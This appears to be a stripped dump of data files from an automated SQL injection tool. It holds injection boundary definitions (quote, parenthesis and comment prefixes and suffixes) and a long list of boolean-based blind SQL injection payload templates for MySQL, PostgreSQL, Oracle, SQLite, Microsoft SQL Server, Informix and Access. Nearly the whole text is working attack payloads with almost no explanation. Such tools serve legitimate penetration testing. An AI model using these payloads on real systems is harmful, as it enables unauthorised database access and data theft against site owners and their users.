================================================ ================================================ FILE: data/xml/boundaries.xml ================================================ 3 1 1,2 1 ) [GENERIC_SQL_COMMENT] 4 1 1,2 2 ') [GENERIC_SQL_COMMENT] 3 1,2,3 1,2 2 ' [GENERIC_SQL_COMMENT] 5 1 1,2 4 " [GENERIC_SQL_COMMENT] 1 1 1,2 1 ) AND ([RANDNUM]=[RANDNUM] 2 1 1,2 1 )) AND (([RANDNUM]=[RANDNUM] 3 1 1,2 1 ))) AND ((([RANDNUM]=[RANDNUM] 1 0 1,2,3 1 1 1 1,2 2 ') AND ('[RANDSTR]'='[RANDSTR] 2 1 1,2 2 ')) AND (('[RANDSTR]'='[RANDSTR] 3 1 1,2 2 '))) AND ((('[RANDSTR]'='[RANDSTR] 1 1 1,2 2 ' AND '[RANDSTR]'='[RANDSTR] 2 1 1,2 3 ') AND ('[RANDSTR]' LIKE '[RANDSTR] 3 1 1,2 3 ')) AND (('[RANDSTR]' LIKE '[RANDSTR] 4 1 1,2 3 '))) AND ((('[RANDSTR]' LIKE '[RANDSTR] 2 1 1,2 3 %' AND '[RANDSTR]%'='[RANDSTR] 2 1 1,2 3 ' AND '[RANDSTR]' LIKE '[RANDSTR] 2 1 1,2 4 ") AND ("[RANDSTR]"="[RANDSTR] 3 1 1,2 4 ")) AND (("[RANDSTR]"="[RANDSTR] 4 1 1,2 4 "))) AND ((("[RANDSTR]"="[RANDSTR] 2 1 1,2 4 " AND "[RANDSTR]"="[RANDSTR] 3 1 1,2 5 ") AND ("[RANDSTR]" LIKE "[RANDSTR] 4 1 1,2 5 ")) AND (("[RANDSTR]" LIKE "[RANDSTR] 5 1 1,2 5 "))) AND ((("[RANDSTR]" LIKE "[RANDSTR] 3 1 1,2 5 " AND "[RANDSTR]" LIKE "[RANDSTR] 1 1 1,2 1 [GENERIC_SQL_COMMENT] 3 1 1,2 1 # [RANDSTR] 3 1 1,2 2 ' OR '[RANDSTR1]'='[RANDSTR2] 5 9 1,2 2 ') WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 9 1,2 2 ") WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 9 1,2 1 ) WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 9 1,2 2 ' WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 9 1,2 4 " WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 9 1,2 1 WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 9 1 2 '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )||' 5 9 1 2 '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] )||' 5 9 1 2 '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+' 5 9 1 2 ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] )|| 5 9 1 2 ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )|| 5 9 1 1 +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+ 5 9 1 2 '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+' 5 1 1,2 2 ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 1 1,2 2 ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 1 1,2 1 )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 1 1,2 2 ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 1 1,2 4 ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 1 1,2 1 ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 1 1 1 ` WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 1 1 1 `) WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 8 1 6 `=`[ORIGINAL]` AND `[ORIGINAL]`=`[ORIGINAL] 5 8 1 6 "="[ORIGINAL]" AND "[ORIGINAL]"="[ORIGINAL] 5 8 1 6 ]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM] )|[[ORIGINAL] 5 7 1 3 [RANDSTR1], [RANDSTR2] 4 1 1 2 ' IN BOOLEAN MODE) # ================================================ FILE: data/xml/errors.xml ================================================ ================================================ FILE: data/xml/payloads/boolean_blind.xml ================================================ AND boolean-based blind - WHERE or HAVING clause 1 1 1 1,8,9 1 AND [INFERENCE] AND [RANDNUM]=[RANDNUM] AND [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE or HAVING clause 1 1 3 1,9 2 OR [INFERENCE] OR [RANDNUM]=[RANDNUM] OR [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE or HAVING clause (NOT) 1 3 3 1,9 1 OR NOT [INFERENCE] OR NOT [RANDNUM]=[RANDNUM] OR NOT [RANDNUM]=[RANDNUM1] AND boolean-based blind - WHERE or HAVING clause (subquery - comment) 1 2 1 1,8,9 1 AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) [GENERIC_SQL_COMMENT] AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) OR boolean-based blind - WHERE or HAVING clause (subquery - comment) 1 2 3 1,9 2 OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) [GENERIC_SQL_COMMENT] OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) AND boolean-based blind - WHERE or HAVING clause (comment) 1 2 1 1 1 AND [INFERENCE] AND [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] AND [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE or HAVING clause (comment) 1 2 3 1 2 OR [INFERENCE] OR [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] OR [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE or HAVING clause (NOT - comment) 1 4 3 1 1 OR NOT [INFERENCE] OR NOT [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] OR NOT [RANDNUM]=[RANDNUM1] AND boolean-based blind - WHERE or HAVING clause (MySQL comment) 1 3 1 1 1 AND [INFERENCE] AND [RANDNUM]=[RANDNUM] # AND [RANDNUM]=[RANDNUM1]
MySQL
OR boolean-based blind - WHERE or HAVING clause (MySQL comment) 1 3 3 1 2 OR [INFERENCE] OR [RANDNUM]=[RANDNUM] # OR [RANDNUM]=[RANDNUM1]
MySQL
OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) 1 3 3 1 1 OR NOT [INFERENCE] OR NOT [RANDNUM]=[RANDNUM] # OR NOT [RANDNUM]=[RANDNUM1]
MySQL
AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) 1 3 1 1 1 AND [INFERENCE] AND [RANDNUM]=[RANDNUM] %16 AND [RANDNUM]=[RANDNUM1]
Microsoft Access
OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) 1 3 3 1 2 OR [INFERENCE] OR [RANDNUM]=[RANDNUM] %16 OR [RANDNUM]=[RANDNUM1]
Microsoft Access
MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause 1 2 1 1,2,3 1 RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END)) RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END)) RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))
MySQL
MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) 1 3 1 1,2,3,8 1 AND MAKE_SET([INFERENCE],[RANDNUM]) AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) 1 3 3 1,2,3 2 OR MAKE_SET([INFERENCE],[RANDNUM]) OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT) 1 4 1 1,2,3,8 1 AND ELT([INFERENCE],[RANDNUM]) AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT) 1 4 3 1,2,3 2 OR ELT([INFERENCE],[RANDNUM]) OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 1 1,2,3,8 1 AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL
MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 3 1,2,3,8 2 OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL
PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST) 1 2 1 1,8 1 AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
PostgreSQL
PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST) 1 3 3 1 2 OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
PostgreSQL
Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 1 2 1 1 1 AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
Oracle
Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 1 3 3 1 2 OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
Oracle
SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) 1 2 1 1 1 AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
SQLite
SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) 1 3 3 1 2 OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
SQLite
Boolean-based blind - Parameter replace (original value) 1 1 1 1,2,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) MySQL boolean-based blind - Parameter replace (MAKE_SET) 1 4 1 1,2,3 3 MAKE_SET([INFERENCE],[RANDNUM]) MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL boolean-based blind - Parameter replace (MAKE_SET - original value) 1 5 1 1,2,3 3 MAKE_SET([INFERENCE],[ORIGVALUE]) MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE]) MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])
MySQL
MySQL boolean-based blind - Parameter replace (ELT) 1 4 1 1,2,3 3 ELT([INFERENCE],[RANDNUM]) ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL boolean-based blind - Parameter replace (ELT - original value) 1 5 1 1,2,3 3 ELT([INFERENCE],[ORIGVALUE]) ELT([RANDNUM]=[RANDNUM],[ORIGVALUE]) ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])
MySQL
MySQL boolean-based blind - Parameter replace (bool*int) 1 4 1 1,2,3 3 ([INFERENCE])*[RANDNUM] ([RANDNUM]=[RANDNUM])*[RANDNUM1] ([RANDNUM]=[RANDNUM1])*[RANDNUM1]
MySQL
MySQL boolean-based blind - Parameter replace (bool*int - original value) 1 5 1 1,2,3 3 ([INFERENCE])*[ORIGVALUE] ([RANDNUM]=[RANDNUM])*[ORIGVALUE] ([RANDNUM]=[RANDNUM1])*[ORIGVALUE]
MySQL
PostgreSQL boolean-based blind - Parameter replace 1 3 1 1,2,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))
PostgreSQL
PostgreSQL boolean-based blind - Parameter replace (original value) 1 4 1 1,2,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
PostgreSQL
PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES) 1 5 1 1,2,3 3 (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
PostgreSQL
PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value) 1 5 1 1,2,3 3 (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
PostgreSQL
Microsoft SQL Server/Sybase boolean-based blind - Parameter replace 1 3 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value) 1 4 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Oracle boolean-based blind - Parameter replace 1 3 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Oracle boolean-based blind - Parameter replace (original value) 1 4 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Informix boolean-based blind - Parameter replace 1 3 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
Informix
Informix boolean-based blind - Parameter replace (original value) 1 4 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)
Informix
Microsoft Access boolean-based blind - Parameter replace 1 3 1 1,3 3 IIF([INFERENCE],[RANDNUM],1/0) IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0) IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0)
Microsoft Access
Microsoft Access boolean-based blind - Parameter replace (original value) 1 4 1 1,3 3 IIF([INFERENCE],[ORIGVALUE],1/0) IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)
Microsoft Access
Boolean-based blind - Parameter replace (DUAL) 1 2 1 1,2,3 3 (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) Boolean-based blind - Parameter replace (DUAL - original value) 1 3 1 1,2,3 3 (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) Boolean-based blind - Parameter replace (CASE) 1 2 1 1,3 3 (CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END) (CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END) (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END) Boolean-based blind - Parameter replace (CASE - original value) 1 3 1 1,3 3 (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause 1 2 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL >= 5.0
MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL >= 5.0
MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause 1 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL < 5.0
MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 4 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL < 5.0
PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause 1 2 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))
PostgreSQL
PostgreSQL boolean-based blind - ORDER BY clause (original value) 1 4 1 3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
PostgreSQL
PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES) 1 5 1 3 1 ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
PostgreSQL
Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause 1 3 1 3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
